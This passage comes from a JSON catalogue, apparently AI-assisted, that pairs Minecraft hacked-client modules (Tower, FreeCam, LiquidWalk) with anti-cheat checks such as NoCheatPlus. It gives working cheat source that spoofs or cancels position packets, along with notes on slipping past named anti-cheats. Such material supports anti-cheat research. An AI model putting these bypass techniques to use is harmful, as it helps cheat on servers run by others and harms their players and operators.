InventoryUtils.findAutoBlockBlock() != -1 : mc.thePlayer.getHeldItem() != null\n                    && mc.thePlayer.getHeldItem().getItem() instanceof ItemBlock) {\n                if (!stopWhenBlockAbove.get() || BlockUtils.getBlock(new BlockPos(mc.thePlayer.posX,\n                        mc.thePlayer.posY + 2, mc.thePlayer.posZ)) instanceof BlockAir)\n                    move();\n\n                final BlockPos blockPos = new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1D, mc.thePlayer.posZ);\n                if (mc.theWorld.getBlockState(blockPos).getBlock() instanceof BlockAir) {\n                    if (search(blockPos) && rotationsValue.get()) {\n                        final VecRotation vecRotation = RotationUtils.faceBlock(blockPos);\n\n                        if (vecRotation != null) {\n                            RotationUtils.setTargetRotation(vecRotation.getRotation());\n                            placeInfo.setVec3(vecRotation.getVec());\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    //Send jump packets, bypasses Hypixel.\n    private void fakeJump() {\n        mc.thePlayer.isAirBorne = true;\n        mc.thePlayer.triggerAchievement(StatList.jumpStat);\n    }\n\n    /**\n     * Move player\n     */\n    private void move() {\n        switch (modeValue.get().toLowerCase()) {\n            case \"hypixel\":\n                if(this.getBlocksAmount() > 0) {\n                    if(mc.thePlayer.moveForward != 0.0f || mc.thePlayer.moveStrafing != 0.0) {\n                        double gay2 = 0.419999215712222222222531351325;\n                        double lit = 0.42d;\n                        double baseSpeed = 0.2873D;\n                        if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) {\n                            int amplifier = mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).getAmplifier();\n                            baseSpeed *= 1.0D + 0.2D * (double) (amplifier + 1);\n                        }\n                        if (mc.thePlayer.isPotionActive(Potion.jump)) {\n                            gay2 += (double) ((float) (mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1) * 0.1f);\n                            lit -= (mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1) * 0.075;\n                            baseSpeed -= 0.05 * (mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1);\n\n                        }\n                        if (mc.thePlayer.motionY < gay2 * lit) {\n                            mc.thePlayer.motionY = gay2;\n                        }\n                        if (mc.thePlayer.posY >= Math.round(mc.thePlayer.posY) - 0.0001 && mc.thePlayer.posY <= Math.round(mc.thePlayer.posY) + 0.0001) {\n                            mc.thePlayer.motionY = 0;\n                        }\n\n                    }else {\n                        double gay2 = 0.419999215712222222222531351325;\n                        double lit = 0.42d;\n                        if (mc.thePlayer.isPotionActive(Potion.jump)) {\n                            gay2 += (double)((float)(mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1) * 0.1f);\n                            lit -= (mc.thePlayer.getActivePotionEffect(Potion.jump).getAmplifier() + 1)*0.075;\n                        }\n                        if(mc.thePlayer.motionY <gay2*lit){\n                            mc.thePlayer.motionY=gay2;\n                        }\n\n                    }\n                }\n                break;\n            case \"jump\":\n                if (mc.thePlayer.onGround && timer.hasTimePassed(jumpDelayValue.get())) {\n                    fakeJump();\n                    mc.thePlayer.motionY = jumpMotionValue.get();\n                    timer.reset();\n                }\n                break;\n            case \"motion\":\n                if (mc.thePlayer.onGround) {\n                    fakeJump();\n                    mc.thePlayer.motionY = 0.42D;\n                } else if (mc.thePlayer.motionY < 0.1D) mc.thePlayer.motionY = -0.3D;\n                break;\n            case \"motiontp\":\n                if (mc.thePlayer.onGround) {\n                    fakeJump();\n                    mc.thePlayer.motionY = 0.42D;\n                } else if (mc.thePlayer.motionY < 0.23D)\n                    mc.thePlayer.setPosition(mc.thePlayer.posX, (int) mc.thePlayer.posY, mc.thePlayer.posZ);\n                break;\n            case \"packet\":\n                if (mc.thePlayer.onGround && timer.hasTimePassed(2)) {\n                    fakeJump();\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                            mc.thePlayer.posY + 0.42D, mc.thePlayer.posZ, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                            mc.thePlayer.posY + 0.753D, mc.thePlayer.posZ, false));\n                    mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1D, mc.thePlayer.posZ);\n                    timer.reset();\n                }\n                break;\n            case \"teleport\":\n                if (teleportNoMotionValue.get())\n                    mc.thePlayer.motionY = 0;\n\n                if ((mc.thePlayer.onGround || !teleportGroundValue.get()) && timer.hasTimePassed(teleportDelayValue.get())) {\n                    fakeJump();\n                    mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY + teleportHeightValue.get(), mc.thePlayer.posZ);\n                    timer.reset();\n                }\n                break;\n            case \"constantmotion\":\n                if (mc.thePlayer.onGround) {\n                    fakeJump();\n                    jumpGround = mc.thePlayer.posY;\n                    mc.thePlayer.motionY = constantMotionValue.get();\n                }\n\n                if (mc.thePlayer.posY > jumpGround + constantMotionJumpGroundValue.get()) {\n                    fakeJump();\n                    mc.thePlayer.setPosition(mc.thePlayer.posX, (int) mc.thePlayer.posY, mc.thePlayer.posZ);\n                    mc.thePlayer.motionY = constantMotionValue.get();\n                    jumpGround = mc.thePlayer.posY;\n                }\n                break;\n            case \"aac3.3.9\":\n                if (mc.thePlayer.onGround) {\n                    fakeJump();\n                    mc.thePlayer.motionY = 0.4001;\n                }\n                mc.timer.timerSpeed = 1F;\n\n                if (mc.thePlayer.motionY < 0) {\n                    mc.thePlayer.motionY -= 0.00000945;\n                    mc.timer.timerSpeed = 1.6F;\n                }\n                break;\n        }\n    }\n\n    /**\n     * Place target block\n     */\n    private void place() {\n        if(placeInfo == null)\n            return;\n\n        // AutoBlock\n        int blockSlot = -1;\n        ItemStack itemStack = mc.thePlayer.getHeldItem();\n\n        if(mc.thePlayer.getHeldItem() == null || !(mc.thePlayer.getHeldItem().getItem() instanceof ItemBlock)) {\n            if(!autoBlockValue.get())\n                return;\n\n            blockSlot = InventoryUtils.findAutoBlockBlock();\n\n            if(blockSlot == -1)\n                return;\n\n            mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(blockSlot - 36));\n            itemStack = mc.thePlayer.inventoryContainer.getSlot(blockSlot).getStack();\n        }\n\n        // Place block\n        if (mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, itemStack, this.placeInfo.getBlockPos(),\n                placeInfo.getEnumFacing(), placeInfo.getVec3())) {\n            if(swingValue.get())\n                mc.thePlayer.swingItem();\n            else\n                mc.getNetHandler().addToSendQueue(new C0APacketAnimation());\n        }\n        this.placeInfo = null;\n\n        // Switch back to old slot when using auto block\n        if (!stayAutoBlock.get() && blockSlot >= 0)\n            mc.getNetHandler().addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n    }\n\n    /**\n     * Search for placeable block\n     *\n     * @param blockPosition pos\n     * @return\n     */\n    private boolean search(final BlockPos blockPosition) {\n        if (!BlockUtils.isReplaceable(blockPosition))\n            return false;\n\n        final Vec3 eyesPos = new Vec3(mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY +\n                mc.thePlayer.getEyeHeight(), mc.thePlayer.posZ);\n\n        PlaceRotation placeRotation = null;\n\n        for (final EnumFacing side : EnumFacing.values()) {\n            final BlockPos neighbor = blockPosition.offset(side);\n\n            if (!BlockUtils.canBeClicked(neighbor))\n                continue;\n\n            final Vec3 dirVec = new Vec3(side.getDirectionVec());\n\n            for (double xSearch = 0.1D; xSearch < 0.9D; xSearch += 0.1D) {\n                for (double ySearch = 0.1D; ySearch < 0.9D; ySearch += 0.1D) {\n                    for (double zSearch = 0.1D; zSearch < 0.9D; zSearch += 0.1D) {\n                        final Vec3 posVec = new Vec3(blockPosition).addVector(xSearch, ySearch, zSearch);\n                        final double distanceSqPosVec = eyesPos.squareDistanceTo(posVec);\n                        final Vec3 hitVec = posVec.add(new Vec3(dirVec.xCoord * 0.5, dirVec.yCoord * 0.5, dirVec.zCoord * 0.5));\n\n                        if ((eyesPos.squareDistanceTo(hitVec) > 18D ||\n                                distanceSqPosVec > eyesPos.squareDistanceTo(posVec.add(dirVec)) ||\n                                mc.theWorld.rayTraceBlocks(eyesPos, hitVec, false,\n                                        true, false) != null))\n                            continue;\n\n                        // face block\n                        final double diffX = hitVec.xCoord - eyesPos.xCoord;\n                        final double diffY = hitVec.yCoord - eyesPos.yCoord;\n                        final double diffZ = hitVec.zCoord - eyesPos.zCoord;\n\n                        final double diffXZ = MathHelper.sqrt_double(diffX * diffX + diffZ * diffZ);\n\n                        final Rotation rotation = new Rotation(\n                                MathHelper.wrapAngleTo180_float((float) Math.toDegrees(Math.atan2(diffZ, diffX)) - 90F),\n                                MathHelper.wrapAngleTo180_float((float) -Math.toDegrees(Math.atan2(diffY, diffXZ)))\n                        );\n\n                        final Vec3 rotationVector = RotationUtils.getVectorForRotation(rotation);\n                        final Vec3 vector = eyesPos.addVector(rotationVector.xCoord * 4, rotationVector.yCoord * 4, rotationVector.zCoord * 4);\n                        final MovingObjectPosition obj = mc.theWorld.rayTraceBlocks(eyesPos, vector, false,\n                                false, true);\n\n                        if (!(obj.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK && obj.getBlockPos().equals(neighbor)))\n                            continue;\n\n                        if (placeRotation == null || RotationUtils.getRotationDifference(rotation) <\n                                RotationUtils.getRotationDifference(placeRotation.getRotation()))\n                            placeRotation = new PlaceRotation(new PlaceInfo(neighbor, side.getOpposite(), hitVec), rotation);\n                    }\n                }\n            }\n        }\n\n        if (placeRotation == null)\n            return false;\n\n        if (rotationsValue.get()) {\n            RotationUtils.setTargetRotation(placeRotation.getRotation(), 0);\n            lockRotation = placeRotation.getRotation();\n        }\n\n        placeInfo = placeRotation.getPlaceInfo();\n        return true;\n    }\n\n    @EventTarget\n    public void onPacket(final PacketEvent event) {\n        if(mc.thePlayer == null)\n            return;\n\n        final Packet<?> packet = event.getPacket();\n\n        if(packet instanceof C09PacketHeldItemChange) {\n            final C09PacketHeldItemChange packetHeldItemChange = (C09PacketHeldItemChange) packet;\n\n            slot = packetHeldItemChange.getSlotId();\n        }\n    }\n\n    /**\n     * Tower visuals\n     *\n     * @param event\n     */\n    @EventTarget\n    public void onRender2D(final Render2DEvent event) {\n        if(counterDisplayValue.get()) {\n            GlStateManager.pushMatrix();\n\n            final String info = \"Blocks: §7\" + getBlocksAmount();\n            final ScaledResolution scaledResolution = new ScaledResolution(mc);\n            RenderUtils.drawBorderedRect((scaledResolution.getScaledWidth() / 2) - 2, (scaledResolution.getScaledHeight() / 2) + 5, (scaledResolution.getScaledWidth() / 2) + Fonts.font40.getStringWidth(info) + 2, (scaledResolution.getScaledHeight() / 2) + 16, 3, Color.BLACK.getRGB(), Color.BLACK.getRGB());\n            GlStateManager.resetColor();\n            Fonts.font40.drawString(info, scaledResolution.getScaledWidth() / 2, scaledResolution.getScaledHeight() / 2 + 7, Color.WHITE.getRGB());\n\n            GlStateManager.popMatrix();\n        }\n    }\n\n    @EventTarget\n    public void onJump(final JumpEvent event) {\n        if (onJumpValue.get())\n            event.cancelEvent();\n    }\n\n    /**\n     * @return hotbar blocks amount\n     */\n    private int getBlocksAmount() {\n        int amount = 0;\n\n        for(int i = 36; i < 45; i++) {\n            final ItemStack itemStack = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n\n            if(itemStack != null && itemStack.getItem() instanceof ItemBlock)\n                amount += itemStack.stackSize;\n        }\n\n        return amount;\n    }\n\n    @Override\n    public String getTag() {\n        return modeValue.get();\n    }\n}\n\n// NOTE (AI): Packet mode is the C03 hit: a C04 +0.42/+0.753 pair followed by a client-side setPosition up one block, gated by a 2-tick timer. Auto-block switches to the block slot with C09, places through onPlayerRightClick, swings via swingItem() or a C0A packet when swing is off, and switches back.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/world/Tower.java",
      "vanilla_hook": "MotionEvent for the ladder, onPlayerRightClick for the placement.",
      "anti_cheat_notes": "The +0.42/+0.753 pair mirrors the NCP jump arc, which keeps the vertical delta inside one tick's plausible range; the 1-block rise is what simulation-based checks (Matrix, Vulcan) flag.",
      "variations": "None in the corpus for this packet; November's ScaffoldModule tower modes fold the same motion into its placement loop."
     },
     {
      "name": "FreeCam",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Detach the camera: cancel every C03 and C0B so the server never sees the ghost movement, leaving a fake player at the original spot.",
      "how_it_works": "On enable, spawns EntityOtherPlayerMP (-1000) cloned from the player and sets noClip. PacketEvent cancels C03PacketPlayer and C0BPacketEntityAction; UpdateEvent flies with motion and strafe. On disable, snaps back to the stored position and removes the fake player.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/render/FreeCam.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.render;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.UpdateEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.minecraft.client.entity.EntityOtherPlayerMP;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\n\n@ModuleInfo(name = \"FreeCam\", description = \"Allows you to move out of your body.\", category = ModuleCategory.RENDER)\npublic class FreeCam extends Module {\n\n    private final FloatValue speedValue = new FloatValue(\"Speed\", 0.8F, 0.1F, 2F);\n    private final BoolValue flyValue = new BoolValue(\"Fly\", true);\n    private final BoolValue noClipValue = new BoolValue(\"NoClip\", true);\n\n    private EntityOtherPlayerMP fakePlayer = null;\n    private double oldX;\n    private double oldY;\n    private double oldZ;\n\n    @Override\n    public void onEnable() {\n        if(mc.thePlayer == null)\n            return;\n\n        oldX = mc.thePlayer.posX;\n        oldY = mc.thePlayer.posY;\n        oldZ = mc.thePlayer.posZ;\n\n        fakePlayer = new EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.getGameProfile());\n        fakePlayer.clonePlayer(mc.thePlayer, true);\n\n        fakePlayer.rotationYawHead = mc.thePlayer.rotationYawHead;\n        fakePlayer.copyLocationAndAnglesFrom(mc.thePlayer);\n\n        mc.theWorld.addEntityToWorld(-1000, fakePlayer);\n\n        if(noClipValue.get())\n            mc.thePlayer.noClip = true;\n    }\n\n    @Override\n    public void onDisable() {\n        if(mc.thePlayer == null || fakePlayer == null)\n            return;\n\n        mc.thePlayer.setPositionAndRotation(oldX, oldY, oldZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch);\n        mc.theWorld.removeEntityFromWorld(fakePlayer.getEntityId());\n        fakePlayer = null;\n        mc.thePlayer.motionX = 0;\n        mc.thePlayer.motionY = 0;\n        mc.thePlayer.motionZ = 0;\n    }\n\n    @EventTarget\n    public void onUpdate(UpdateEvent event) {\n        if(noClipValue.get())\n            mc.thePlayer.noClip = true;\n        mc.thePlayer.fallDistance = 0;\n\n        if(flyValue.get()) {\n            final float value = speedValue.get();\n\n            mc.thePlayer.motionY = 0;\n            mc.thePlayer.motionX = 0;\n            mc.thePlayer.motionZ = 0;\n            if(mc.gameSettings.keyBindJump.isKeyDown())\n                mc.thePlayer.motionY += value;\n            if(mc.gameSettings.keyBindSneak.isKeyDown())\n                mc.thePlayer.motionY -= value;\n            MovementUtils.strafe(value);\n        }\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n\n        if(packet instanceof C03PacketPlayer || packet instanceof C0BPacketEntityAction)\n            event.cancelEvent();\n    }\n}\n\n// NOTE (AI): The single PacketEvent handler cancels C03PacketPlayer and C0BPacketEntityAction, so the ghost movement and its sprint and sneak state never reach the server. A cloned EntityOtherPlayerMP (-1000) stands in at the origin position for other players.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/render/FreeCam.java",
      "vanilla_hook": "PacketEvent (cancel), UpdateEvent (fly).",
      "anti_cheat_notes": "Cancelling the movement stream while airborne reads as a blink window, which is a flag on its own; the fake player at the origin keeps the server-side entity frozen in place.",
      "variations": "Rise 5.99 Freecam cancels C03 as part of its packet passthrough list; LiquidSense FreeCam additionally cancels C0B."
     },
     {
      "name": "LiquidWalk",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Walk on liquids by mutating the C03 Y with a sub-pixel offset so the server keeps the player on the surface.",
      "how_it_works": "In NCP mode, when the bounding-box bottom is inside a liquid, toggle nextTick and subtract 0.001 from packetPlayer.y on alternate ticks; the vanilla emitter keeps running, so the stream stays continuous while the reported Y fights the sink.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/movement/LiquidWalk.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.movement;\n\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.block.BlockUtils;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.block.Block;\nimport net.minecraft.block.BlockLiquid;\nimport net.minecraft.block.material.Material;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.util.AxisAlignedBB;\nimport net.minecraft.util.BlockPos;\nimport org.lwjgl.input.Keyboard;\n\n@ModuleInfo(name = \"LiquidWalk\", description = \"Allows you to walk on water.\", category = ModuleCategory.MOVEMENT, keyBind = Keyboard.KEY_J)\npublic class LiquidWalk extends Module {\n\n    public final ListValue modeValue = new ListValue(\"Mode\", new String[] {\"Vanilla\", \"NCP\", \"AAC\", \"AAC3.3.11\", \"AACFly\", \"Spartan\", \"Dolphin\"}, \"NCP\");\n    private final BoolValue noJumpValue = new BoolValue(\"NoJump\", false);\n\n    private final FloatValue aacFlyValue = new FloatValue(\"AACFlyMotion\", 0.5F, 0.1F, 1F);\n\n    private boolean nextTick;\n\n    @EventTarget\n    public void onUpdate(final UpdateEvent event) {\n        if(mc.thePlayer == null || mc.thePlayer.isSneaking())\n            return;\n\n        switch(modeValue.get().toLowerCase()) {\n            case \"ncp\":\n            case \"vanilla\":\n                if(BlockUtils.collideBlock(mc.thePlayer.getEntityBoundingBox(), block -> block instanceof BlockLiquid) && mc.thePlayer.isInsideOfMaterial(Material.air) && !mc.thePlayer.isSneaking())\n                    mc.thePlayer.motionY = 0.08D;\n                break;\n            case \"aac\":\n                final BlockPos blockPos = mc.thePlayer.getPosition().down();\n\n                if(!mc.thePlayer.onGround && BlockUtils.getBlock(blockPos) == Blocks.water || mc.thePlayer.isInWater()) {\n                    if(!mc.thePlayer.isSprinting()) {\n                        mc.thePlayer.motionX *= 0.99999;\n                        mc.thePlayer.motionY *= 0.0;\n                        mc.thePlayer.motionZ *= 0.99999;\n\n                        if(mc.thePlayer.isCollidedHorizontally)\n                            mc.thePlayer.motionY = (int) (mc.thePlayer.posY - (int) (mc.thePlayer.posY - 1)) / 8F;\n                    }else{\n                        mc.thePlayer.motionX *= 0.99999;\n                        mc.thePlayer.motionY *= 0.0;\n                        mc.thePlayer.motionZ *= 0.99999;\n\n                        if(mc.thePlayer.isCollidedHorizontally)\n                            mc.thePlayer.motionY = (int) (mc.thePlayer.posY - (int) (mc.thePlayer.posY - 1)) / 8F;\n                    }\n\n                    if(mc.thePlayer.fallDistance >= 4)\n                        mc.thePlayer.motionY = -0.004;\n                    else if(mc.thePlayer.isInWater())\n                        mc.thePlayer.motionY = 0.09;\n                }\n\n                if(mc.thePlayer.hurtTime != 0)\n                    mc.thePlayer.onGround = false;\n                break;\n            case \"spartan\":\n                if(mc.thePlayer.isInWater()) {\n                    if(mc.thePlayer.isCollidedHorizontally) {\n                        mc.thePlayer.motionY += 0.15;\n                        return;\n                    }\n\n                    final Block block = BlockUtils.getBlock(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1, mc.thePlayer.posZ));\n                    final Block blockUp = BlockUtils.getBlock(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1.1D, mc.thePlayer.posZ));\n\n                    if(blockUp instanceof BlockLiquid) {\n                        mc.thePlayer.motionY = 0.1D;\n                    }else if(block instanceof BlockLiquid) {\n                        mc.thePlayer.motionY = 0;\n                    }\n\n                    mc.thePlayer.onGround = true;\n                    mc.thePlayer.motionX *= 1.085;\n                    mc.thePlayer.motionZ *= 1.085;\n                }\n                break;\n            case \"aac3.3.11\":\n                if(mc.thePlayer.isInWater()) {\n                    mc.thePlayer.motionX *= 1.17D;\n                    mc.thePlayer.motionZ *= 1.17D;\n\n                    if(mc.thePlayer.isCollidedHorizontally)\n                        mc.thePlayer.motionY = 0.24;\n                    else if(mc.theWorld.getBlockState(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 1.0D, mc.thePlayer.posZ)).getBlock() != Blocks.air)\n                        mc.thePlayer.motionY += 0.04D;\n                }\n                break;\n        }\n    }\n\n    @EventTarget\n    public void onMove(final MoveEvent event) {\n        if (\"aacfly\".equals(modeValue.get().toLowerCase()) && mc.thePlayer.isInWater()) {\n            event.setY(aacFlyValue.get());\n            mc.thePlayer.motionY = aacFlyValue.get();\n        }\n    }\n\n    @EventTarget\n    public void onBlockBB(final BlockBBEvent event) {\n        if(mc.thePlayer == null || mc.thePlayer.getEntityBoundingBox() == null)\n            return;\n\n        if(event.getBlock() instanceof BlockLiquid && !BlockUtils.collideBlock(mc.thePlayer.getEntityBoundingBox(), block -> block instanceof BlockLiquid) && !mc.thePlayer.isSneaking()) {\n            switch(modeValue.get().toLowerCase()) {\n                case \"ncp\":\n                case \"vanilla\":\n                    event.setBoundingBox(AxisAlignedBB.fromBounds(event.getX(), event.getY(), event.getZ(), event.getX() + 1, event.getY() + 1, event.getZ() + 1));\n                    break;\n            }\n        }\n    }\n\n    @EventTarget\n    public void onPacket(final PacketEvent event) {\n        if(mc.thePlayer == null || !modeValue.get().equalsIgnoreCase(\"NCP\"))\n            return;\n\n        if(event.getPacket() instanceof C03PacketPlayer) {\n            final C03PacketPlayer packetPlayer = (C03PacketPlayer) event.getPacket();\n\n            if(BlockUtils.collideBlock(new AxisAlignedBB(mc.thePlayer.getEntityBoundingBox().maxX, mc.thePlayer.getEntityBoundingBox().maxY, mc.thePlayer.getEntityBoundingBox().maxZ, mc.thePlayer.getEntityBoundingBox().minX, mc.thePlayer.getEntityBoundingBox().minY - 0.01D, mc.thePlayer.getEntityBoundingBox().minZ), block -> block instanceof BlockLiquid)) {\n                nextTick = !nextTick;\n\n                if(nextTick) packetPlayer.y -= 0.001D;\n            }\n        }\n    }\n\n    @EventTarget\n    public void onJump(final JumpEvent event) {\n        if (mc.thePlayer == null)\n            return;\n\n        final Block block = BlockUtils.getBlock(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1, mc.thePlayer.posZ));\n\n        if (noJumpValue.get() && block instanceof  BlockLiquid)\n            event.cancelEvent();\n    }\n\n    @Override\n    public String getTag() {\n        return modeValue.get();\n    }\n}\n\n// NOTE (AI): In NCP mode the C03 hit subtracts 0.001 from packetPlayer.y on alternating ticks when the bounding-box bottom is inside a liquid, which keeps the reported Y from sinking while the player walks on the surface. The BlockAABBEvent handler replaces the collision box with a full cube for the same modes.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/movement/LiquidWalk.java",
      "vanilla_hook": "PacketEvent (C03 mutation), BlockAABBEvent (bounding box), JumpEvent.",
      "anti_cheat_notes": "A 0.001 Y offset is far below the 0.0625 residual threshold, so the server never logs a wrong-move; the tell is the alternating pattern if an anti-cheat integrates vertical deltas over time.",
      "variations": "None in the corpus for this packet; other clients implement surface walking through their speed and fly modules instead."
     }
    ],
    "general_hooks": "Every client intercepts C03 at the outgoing packet event (PacketOutEvent, PacketSendEvent, EventSendPacket) and matches instanceof C03PacketPlayer, which also catches the C04/C05/C06 subclasses. Movement engines hook UpdateEvent or PreMotionEvent to alter position, ground and rotation before the vanilla emitter builds the packet; Rise 6.x additionally routes through TeleportEvent for S08 responses.",
    "client_variations": "Vanilla emission differs per client: Memeware and Nekoware patch EntityPlayerSP.onUpdateWalkingPlayer to fire a custom UpdateEvent that carries setY/setGround, Sigma and Spicy do the same with their motion events, while Rise 5.99 and Tenacity rewrite the emitter to consume their own event objects. Send paths diverge the same way: sendQueue.addToSendQueue (Memeware, Nekoware, Sigma, Spicy, Tenacity), PacketUtil.sendPacket and sendPacketWithoutEvent (Rise 5.99), PacketUtil.send and sendNoEvent (Rise 6.x). Bus-bypassing sends (sendPacketSilent, sendPacketNoEvent, sendPacketWithoutEvent, sendNoEvent) are universal and used whenever a module must not re-trigger its own packet listener.",
    "related": [
     "S08PacketPlayerPosLook",
     "C00PacketKeepAlive",
     "C0FPacketConfirmTransaction",
     "C02PacketUseEntity"
    ],
    "anticheat": {
     "overview": "The position packet family (flying, position, position-look, look) is the heart of every movement anticheat: it is the only stream that tells the server where the player is. All 50 cloned anticheats key their motion checks off it. The corpus splits into classic statistical checks (Frequency FlyA, Arc NoFall, Hydro GroundA) that score deltas against expected physics, and modern simulation checks (Grim PredictionRunner, Photon MovementSimulator) that predict the next position from client inputs and flag the residual. Ground-spoofing, fly, speed, phase, step, timer and blink are all detected from this one packet family.",
     "checks": [
      {
       "name": "MovingFlying adapter (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "The classic 1.8 ProtocolLib adapter that feeds every C03 variant into NCP's moving checks.",
       "how_it_works": "Wraps PacketPlayInFlying, PacketPlayInPosition, PacketPlayInPositionLook and PacketPlayInLook through ProtocolLib, builds a MovingData context (position, rotation, ground flag, exact move vector), and dispatches to the full moving check set: survivalfly, morepackets (timer), noswing, nofall, and the passable/phase checks. Handles 1.7-1.8 protocol differences and the -999 teleport sentinel.",
       "detects": "Fly, speed, timer, nofall, phase/clip, blink, and every movement-based cheat that alters the position stream.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/MovingFlying.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.net.protocollib;\n\nimport java.util.Arrays;\nimport java.util.HashSet;\nimport java.util.LinkedHashSet;\nimport java.util.LinkedList;\nimport java.util.List;\n\nimport org.bukkit.Bukkit;\nimport org.bukkit.entity.Player;\nimport org.bukkit.plugin.Plugin;\n\nimport com.comphenix.protocol.PacketType;\nimport com.comphenix.protocol.PacketType.Protocol;\nimport com.comphenix.protocol.PacketType.Sender;\nimport com.comphenix.protocol.events.ListenerPriority;\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.reflect.StructureModifier;\n\nimport fr.neatmonster.nocheatplus.NCPAPIProvider;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.moving.MovingData;\nimport fr.neatmonster.nocheatplus.checks.net.FlyingFrequency;\nimport fr.neatmonster.nocheatplus.checks.net.Moving;\nimport fr.neatmonster.nocheatplus.checks.net.NetConfig;\nimport fr.neatmonster.nocheatplus.checks.net.NetData;\nimport fr.neatmonster.nocheatplus.checks.net.WrongTurn;\nimport fr.neatmonster.nocheatplus.checks.net.model.DataPacketFlying;\nimport fr.neatmonster.nocheatplus.checks.net.model.DataPacketFlying.PACKET_CONTENT;\nimport fr.neatmonster.nocheatplus.checks.net.model.TeleportQueue.AckReference;\nimport fr.neatmonster.nocheatplus.compat.AlmostBoolean;\nimport fr.neatmonster.nocheatplus.compat.versions.ServerVersion;\nimport fr.neatmonster.nocheatplus.logging.StaticLog;\nimport fr.neatmonster.nocheatplus.logging.Streams;\nimport fr.neatmonster.nocheatplus.players.DataManager;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\nimport fr.neatmonster.nocheatplus.time.monotonic.Monotonic;\nimport fr.neatmonster.nocheatplus.utilities.CheckUtils;\nimport fr.neatmonster.nocheatplus.utilities.StringUtil;\nimport fr.neatmonster.nocheatplus.utilities.TickTask;\nimport fr.neatmonster.nocheatplus.utilities.ds.count.ActionFrequency;\nimport fr.neatmonster.nocheatplus.utilities.location.LocUtil;\n\n/**\n * Run checks related to moving (pos/look/flying). Skip packets that shouldn't\n * get processed anyway due to a teleport. Also update lastKeepAliveTime.\n * \n * @author asofold\n *\n 